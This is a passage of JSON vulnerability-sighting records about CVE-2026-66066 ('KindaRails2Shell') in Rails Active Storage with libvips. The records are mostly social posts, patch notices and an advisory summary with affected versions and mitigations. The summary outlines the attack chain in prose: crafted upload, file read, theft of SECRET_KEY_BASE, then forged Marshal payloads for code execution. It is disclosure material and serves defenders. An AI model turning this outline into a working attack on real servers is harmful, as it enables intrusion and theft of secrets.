Storage\u306b\u7dca\u6025\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027CVE-2026-66066\u300cKindaRails2Shell\u300d\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u30b5\u30fc\u30d0\u30fc\u30d5\u30a1\u30a4\u30eb\u306e\u8aad\u307f\u53d6\u308a\u3068\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3067\u3059\u3002activestorage 7.2.3.2\u3088\u308a\u524d\u30018.0.5.1\u3088\u308a\u524d\u30018.1.3.1\u3088\u308a\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5bfe\u8c61\u3067\u3001JPCERT/CC\u306f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u2026\n\n#CVE #\u8106\u5f31\u6027 #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-07-30T10:01:29.154954Z"}, {"uuid": "7f3b3ec4-5d81-48d1-94f5-0e5172a14e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mrukk3nzjy2o", "content": "[Backport release-26.05] mastodon: patch CVE-2026-66066/GHSA-xr9x-r78c-5hrm in activesupport gem\n\nhttps://github.com/NixOS/nixpkgs/pull/547370\n\n#security", "creation_timestamp": "2026-07-30T13:34:04.419647Z"}, {"uuid": "20d82c19-2c00-45fb-b7f8-2ddd6a13fa43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mruozyeg3g2w", "content": "KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)", "creation_timestamp": "2026-07-30T14:54:32.715081Z"}, {"uuid": "0686ca02-5ae6-4c9a-ad15-bab6e9a69949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/ethiack.com/post/3mrtaldovvc25", "content": "\ud83d\udea8 We discovered a critical RCE in Ruby on Rails via Active Storage.\nKindaRails2Shell - discovered by the Ethiack research team.\n\nAny app using Active Storage with the default vips processor and accepting image uploads from untrusted users is affected.\n\nCVE-2026-66066\n\nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T01:03:11.651230Z"}, {"uuid": "d12a3ac9-6a88-421f-99da-03ff26eb2bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/0xacb.com/post/3mrtajosfqc2r", "content": "\ud83d\udea8We reported KindaRails2Shell, a critical RCE in Ruby on Rails via Active Storage.\n\nIt\u2019s not a one-shot RCE, but the preconditions are kinda common under default configurations.\n\nPatch your applications now!\n\nCVE-2026-66066\n\nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T01:02:16.116928Z"}, {"uuid": "c0950220-0419-4e13-b40b-a7106c76c772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/noellabo.fedibird.com.ap.brid.gy/post/3mrtaxcthoh72", "content": "Rails\u306e\u8106\u5f31\u6027 CVE-2026-66066 \u306f\u57fa\u672c\u7684\u306bMastodon\u306b\u5f71\u97ff\u306a\u3044\u306f\u305a\u3067\u3059\u3002\n\n\u30fb\u4eca\u56de\u306e\u8106\u5f31\u6027\u306e\u524d\u63d0\u3067\u3042\u308bActiveStorage\u3092\u4f7f\u3063\u3066\u3044\u306a\u3044\uff08PaperClip\u7cfb\u3067\u3059\uff09\n\n\u30fb\u8106\u5f31\u6027\u5bfe\u7b56\u306eRails\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3068\u540c\u69d8\u306e\u5185\u5bb9\u304c\u65e2\u306b\u672c\u4f53\u30b3\u30fc\u30c9\u306b\u5165\u3063\u3066\u3044\u308b\uff08libvips\u306e\u4fe1\u983c\u3067\u304d\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u51e6\u7406\u64cd\u4f5c\u306e\u7121\u52b9\u5316\u30d5\u30e9\u30b0\uff09\n\n\u30fb\u5b89\u5168\u3068\u5224\u65ad\u3057\u305f\u753b\u50cf\u4ee5\u5916\u306e\u30c7\u30fc\u30bf\u6dfb\u4ed8\u30fb\u51e6\u7406\u3092\u8a31\u53ef\u3057\u3066\u304a\u3089\u305a\u3001\u57fa\u672c\u7684\u306b\u8a31\u53ef\u3057\u305f\u4ee5\u5916\u306e\u30e1\u30bf\u30c7\u30fc\u30bf\u3092\u524a\u9664\u3059\u308b\n\n\u307e\u305f\u3001\u4f55\u304b\u554f\u984c\u306b\u6c17\u4ed8\u3044\u305f\u3089\u3001\u516c\u958b\u306e\u5834\u3067\u767a\u8a00\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u3053\u3061\u3089\u304b\u3089\u958b\u767a\u30c1\u30fc\u30e0\u3078\u304a\u77e5\u3089\u305b\u304f\u3060\u3055\u3044\u3002 [\u2026]", "creation_timestamp": "2026-07-30T01:13:25.726248Z"}, {"uuid": "0ef41a6e-0ee2-4978-9a46-c677486816dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mrudy2kgin2f", "content": "mastodon: patch CVE-2026-66066/GHSA-xr9x-r78c-5hrm in activesupport gem\n\nhttps://github.com/NixOS/nixpkgs/pull/547199\n\n#security", "creation_timestamp": "2026-07-30T11:36:36.765656Z"}, {"uuid": "4a581b33-aad9-4c63-b2c7-ceeb86cd26a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/in4matics.cat/post/3mrudytoz2y2m", "content": "CVE-2026-66066: un atacant pot llegir fitxers del servidor Rails gr\u00e0cies a Active Storage + libvips. secret_key_base, master.key, credencials de cloud \u2014 tot a l'abast. I despr\u00e9s fer RCE amb les claus robades. \ud83c\udfaf Parcheja ...", "creation_timestamp": "2026-07-30T11:37:05.187726Z"}, {"uuid": "dc303b21-fdb0-49db-8d79-37c68a49cdfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/raul.mastodon.in4matics.cat.ap.brid.gy/post/3mru7jc6fx7f2", "content": "CVE-2026-66066: un atacant pot llegir fitxers del servidor Rails gr\u00e0cies a Active Storage + libvips. secret_key_base, master.key, credencials de cloud \u2014 tot a l'abast. I despr\u00e9s fer RCE amb les claus robades. \ud83c\udfaf\n\nParcheja a: activestorage 7.2.3.2 / 8.0.5.1 / 8.1.3.1 o libvips \u2265 8.13.0\n\nSi encara [\u2026]", "creation_timestamp": "2026-07-30T10:16:55.920707Z"}, {"uuid": "c55c9de3-beb1-4138-abc4-bd88e80944b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/warthogtk.bsky.social/post/3mrtwqj52tc2q", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) | Ethiack  \nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T07:39:45.355090Z"}, {"uuid": "4e78ec61-585e-4754-bc90-856232acad72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/fastruby.io/post/3mrupi4wkkq27", "content": "Critical Rails CVE-2026-66066: file read + RCE in Active Storage vips image processing (default since Rails 7.0).\n\nPatch today: 7.2.3.2 / 8.0.5.1 / 8.1.3.1.\n\nOn 7.1 or older? No patch. Set VIPS_BLOCK_UNTRUSTED (libvips 8.13+) and plan your upgrade.\n\nNeed a hand? fastruby.io/#contactus", "creation_timestamp": "2026-07-30T15:02:27.321169Z"}, {"uuid": "e81de75f-7adf-406c-9969-ad150c6390b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3mruqotif5326", "content": "\ud83d\udea8 Critical CVE-2026-66066 in Ruby on Rails may let unauthenticated users read arbitrary files and achieve #RCE.\n\nIt affects applications using libvips for Active Storage image processing and allow image uploads from untrusted users.\n\nUpdate to Rails to 7.2.3.2, 8.0.5.1 or 8.1.3.1.", "creation_timestamp": "2026-07-30T15:24:06.565855Z"}, {"uuid": "4409e77d-84a8-4bff-9940-ae33b552cd35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mruqz6fdf22y", "content": "CVE-2026-66066: Critical Rails Flaw Exposes Server Files via Image Uploads\n\n", "creation_timestamp": "2026-07-30T15:29:53.405894Z"}, {"uuid": "7abb5f9d-c6e1-4bac-a300-227b9c64c2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mrusow4vxm25", "content": "[RSS] KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)\n\n\n ethiack.com -> \n\n\nOriginal->", "creation_timestamp": "2026-07-30T15:59:56.295297Z"}, {"uuid": "5b07bf8f-888d-4229-a748-d05ba9d4aba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mruugirxjn2o", "content": "sure: 0.7.1 -> 0.7.2 && patch CVE-2026-66066\n\nhttps://github.com/NixOS/nixpkgs/pull/547318\n\n#security", "creation_timestamp": "2026-07-30T16:31:01.765312Z"}, {"uuid": "22d246d9-63b7-4cc1-a475-b9d0880f2b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mruugjaotk2u", "content": "dawarich: 1.10.1 -> 1.10.3; fix CVE-2026-66066\n\nhttps://github.com/NixOS/nixpkgs/pull/546764\n\n#security", "creation_timestamp": "2026-07-30T16:31:03.476375Z"}, {"uuid": "a1a77003-8bf8-4d94-b4e6-d179c750c959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mruy2ktub22t", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) ethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T17:35:58.008771Z"}, {"uuid": "d98c3ddb-0654-4789-b859-4ffd5945b11b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruymgal4j2g", "content": "CVE-2026-66066: Ruby on Rails' Arbitrary File Read Threats Must Be Addressed #CVE2026 #RubyOnRails #CyberSecurity", "creation_timestamp": "2026-07-30T17:45:55.537338Z"}, {"uuid": "94997241-f7e5-48bf-ba43-299c8a0916a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyo7oyfp2j", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Offers Attackers An Easy Path to Exploit #CVE2026 #RubyOnRails #CyberSecurity", "creation_timestamp": "2026-07-30T17:46:55.377490Z"}, {"uuid": "6d112413-dcfe-46fb-9e1e-e52af2f53998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyoei4l425", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Can't Hide Its Lack of Evidence #CVE202666066 #RubyOnRails #Vulnerability", "creation_timestamp": "2026-07-30T17:47:00.360047Z"}, {"uuid": "005c4106-10ff-4bd6-b986-20f5ed6cac15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyobb2qz2g", "content": "CVE-2026-66066: Ruby on Rails Users Must Question Security Defaults #RubyOnRails #CVE2026 #SecurityVulnerabilities", "creation_timestamp": "2026-07-30T17:46:57.385266Z"}, {"uuid": "1990886d-4db5-4c98-8918-d3e56282e5e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyoct26u2j", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Signals Serious Compliance Gaps #CVE202666066 #RubyOnRails #Vulnerability", "creation_timestamp": "2026-07-30T17:46:58.748167Z"}, {"uuid": "922a30dd-3f83-4398-b17f-c1eee2b04d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyog7d7j2g", "content": "CVE-2026-66066: Containment Strategies or Exploit Research as Priority? #CVE2026 #CyberSecurity #RubyOnRails", "creation_timestamp": "2026-07-30T17:47:02.537405Z"}, {"uuid": "99e46b37-eae7-4176-b7c5-a80d4286e5bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mruyttnutg25", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) https://lobste.rs/s/kkobew #ruby #security ", "creation_timestamp": "2026-07-30T17:50:04.505469Z"}, {"uuid": "d133686b-5ffe-41a9-9f6d-5554bfb37720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mrv4xkz25x2z", "content": "KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails\n\n", "creation_timestamp": "2026-07-30T19:03:43.987668Z"}, {"uuid": "f0c92600-63f9-4f40-823a-fa3028114af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv4y7uc4a2s", "content": "CVE-2026-66066 - activestorage\nA vulnerability in Active Storage can allow an attacker to read sensitive files and potentially run malicious code on your server. This is possible if your application uses\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#activestorage #Ruby #CVE #infosec", "creation_timestamp": "2026-07-30T19:04:05.642015Z"}, {"uuid": "5847637e-4746-4c48-80b2-16c58904d674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/alon710/91befcf1d9482b0b57392c974c405ba5", "content": "# CVE-2026-66066: CVE-2026-66066: Pre-Authentication Arbitrary File Read and Remote Code Execution in Ruby on Rails Active Storage\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-07-30\n> **Full Report:** https://cvereports.com/reports/CVE-2026-66066\n\n## Summary\nCVE-2026-66066 (popularly known as 'KindaRails2Shell') is a critical security vulnerability in the Active Storage component of Ruby on Rails. The vulnerability arises from an insecure default integration with the libvips image processing library via the ruby-vips gem. Under default configurations, Active Storage fails to restrict untrusted format loaders within libvips, allowing remote, unauthenticated attackers to upload malformed files that leverage external dataset features to read local server files. By extracting cryptographic secrets such as SECRET_KEY_BASE from the leaked file contents, attackers can forge signed Marshal serialization payloads to achieve remote code execution.\n\n## TL;DR\nActive Storage using libvips allows unauthenticated remote attackers to read arbitrary server files by uploading a crafted MATLAB/HDF5 file, extract SECRET_KEY_BASE, and execute arbitrary commands via forged Marshal deserialization payloads.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1188 / CWE-502\n- **Attack Vector**: Network (Unauthenticated)\n- **CVSS v3.1 Score**: 9.8\n- **CVSS v4.0 Score**: 9.5\n- **Exploit Status**: Proof of Concept (PoC) Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Ruby on Rails (Active Storage / Action Pack) using libvips\n- **Ruby on Rails (Active Storage)**: < 7.2.3.2 (Fixed in: `7.2.3.2`)\n- **Ruby on Rails (Active Storage)**: >= 8.0.0.beta1, < 8.0.5.1 (Fixed in: `8.0.5.1`)\n- **Ruby on Rails (Active Storage)**: >= 8.1.0.beta1, < 8.1.3.1 (Fixed in: `8.1.3.1`)\n\n## Mitigation\n\n- Upgrade the Ruby on Rails framework to patched release versions.\n- Verify and upgrade system-level dependencies for libvips and ruby-vips.\n- Switch the Active Storage variant processor to mini_magick as a temporary workaround.\n- Configure restrictive security policies on host image-processing utilities.\n\n**Remediation Steps:**\n1. Identify the current active variant processor in config/environments/production.rb.\n2. Update Rails Gemfile declarations to target versions 7.2.3.2, 8.0.5.1, or 8.1.3.1.\n3. Ensure host package managers are updated to install libvips version 8.13 or newer.\n4. Update the ruby-vips gem dependency to version 2.2.1 or newer.\n5. Deploy the updated application and restart system-level processes to load the new library-level blocks.\n\n## References\n\n- [GitHub Security Advisory (Rails Core)](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)\n- [Official Fix Commit - 1c01bb58](https://github.com/rails/rails/commit/1c01bb587206ee6eb0e1179c2cef96a6a47acb1e)\n- [Official Fix Commit - 349e7a5d](https://github.com/rails/rails/commit/349e7a5d5b4b715af1e416db824f3c078a7d59e5)\n- [Official Fix Commit - d79b7f4a](https://github.com/rails/rails/commit/d79b7f4aa17dec8ce4960fef05733c8c0c7ef49a)\n- [Rubysec Advisory Entry](https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/CVE-2026-66066.yml)\n- [Official Rails Release v7.2.3.2](https://github.com/rails/rails/releases/tag/v7.2.3.2)\n- [Official Rails Release v8.0.5.1](https://github.com/rails/rails/releases/tag/v8.0.5.1)\n- [Official Rails Release v8.1.3.1](https://github.com/rails/rails/releases/tag/v8.1.3.1)\n- [Industry Disclosure](https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-66066) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T19:31:44.957555Z"}, {"uuid": "74056ade-c25d-4492-8997-94a4b223f784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mrvab4yvvg24", "content": "~Akamai~\nUnauthenticated RCE in Ruby on Rails Active Storage via libvips allows arbitrary file read and secret extraction.\n-\nIOCs: CVE-2026-66066\n-\n#CVE2026 #RCE #threatintel", "creation_timestamp": "2026-07-30T20:02:46.538606Z"}, {"uuid": "7f760e89-1a51-4c03-89f2-2efab0aaedc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/apzkbvj2mnhdq", "content": "CVE-2026-66066 - Action Pack: Possible arbitrary file read and remote code execution in Active Storage variant processing\nCVE ID : CVE-2026-66066\n \n Published : July 30, 2026, 7:18 p.m. | 26\u00a0minutes ago\n \n Description : Action Pack is a framework for handling and responding to...", "creation_timestamp": "2026-07-30T20:06:13.466255Z"}, {"uuid": "35300830-423a-4d7f-9352-f8f990c2d49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mrvci5bs5d2k", "content": "Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77  #JPCERTCC (Jul 30)\n\nwww.jpcert.or.jp/at/2026/at26...", "creation_timestamp": "2026-07-30T20:42:29.118692Z"}, {"uuid": "6676af12-2398-457c-b581-d6ce1e49ec27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/foursignalsdev.bsky.social/post/3mrvgt4jtg62x", "content": "CVE-2026-66066 in Active Storage + libvips allows arbitrary file read and RCE via crafted images. Patched in Rails 7.2.3.2, 8.0.5.1, 8.1.3.1. Upgrade and rotate all secrets now.", "creation_timestamp": "2026-07-30T22:00:12.285190Z"}, {"uuid": "3bf36cc8-a88b-478f-92ef-eaaa32b138e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/twada.bsky.social/post/3mrspj5yxis22", "content": "\u671d4\u6642\u306b\u8d77\u304d\u3066\u3084\u3063\u3066\u3044\u305f\u306e\u306f CVE-2026-66066 \u5bfe\u5fdc \ud83d\ude44\nblog.flatt.tech/entry/kindar...", "creation_timestamp": "2026-07-29T19:57:45.098422Z"}, {"uuid": "c35b7d38-07ac-4e8c-b91a-d24f8aa79c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mrscdxsbdv25", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog\nhttps://blog.flatt.tech/entry/kindarails2shell_rails", "creation_timestamp": "2026-07-29T16:02:09.915640Z"}, {"uuid": "0ae1b461-ebdd-434c-bc90-3fe2b437b789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mrscsavzuf2k", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\n\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog\n\n2026\u5e747\u670829\u65e5\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u305b\u305a\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306b\u3064\u306a\u304c\u308a\u5f97\u308b\u8106\u5f31\u6027\u300cCVE-2026-66066\u300d\u3092\u4fee\u6b63\u3057\u305fRuby on Rails 7.2.3.2\u30018.0.5.1\u30018.1.3.1\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff08\u53c2\u8003\uff1aPossible arbitrary file read and remote code execution in Active Storage variant proc", "creation_timestamp": "2026-07-29T16:10:09.317478Z"}, {"uuid": "5c012497-e242-464f-8268-524d8a065617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95717", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a rails-activestorage-vips-audit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paveg\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 16:53:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAgent skill that audits a Rails codebase for CVE-2026-66066 (KindaRails2Shell) \u2014 Active Storage + libvips arbitrary file read / RCE, checking Rails and libvips versions and block-untrusted mitigations\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T18:00:03.579686Z"}, {"uuid": "cb2cfc97-892a-4ac9-a43c-8b0d84fcae1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-66066", "type": "seen", "source": "https://bsky.app/profile/christine.ruby.social.ap.brid.gy/post/3mrsjvjgfklf2", "content": "RE: https://christine-seeman.com/cve-2026-66066-active-storage/\n\nPatch your #rails there's a new CVE out there specifically about active storage and if your app accepts image uploads.\n\n#ruby #rubyonrails", "creation_timestamp": "2026-07-29T18:17:17.615384Z"}, {"uuid": "08c384a1-bd53-4fbd-9f3d-6f43941f7db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/thehackernews/9657", "content": "\u203c\ufe0f WARNING -- Critical Rails flaw CVE-2026-66066 could let unauthenticated attackers read server files through crafted image uploads.\n\nThe bug affects apps using Active Storage with Vips. Stolen Rails keys, database credentials, cloud keys, and API tokens could enable RCE.\n\nPatch now. Read the full story - https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-29T19:00:03.084362Z"}, {"uuid": "a373ee76-c4c3-49da-9266-59aaacd58e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrsobz2ntv2m", "content": "Ruby on Rails\u306eActive 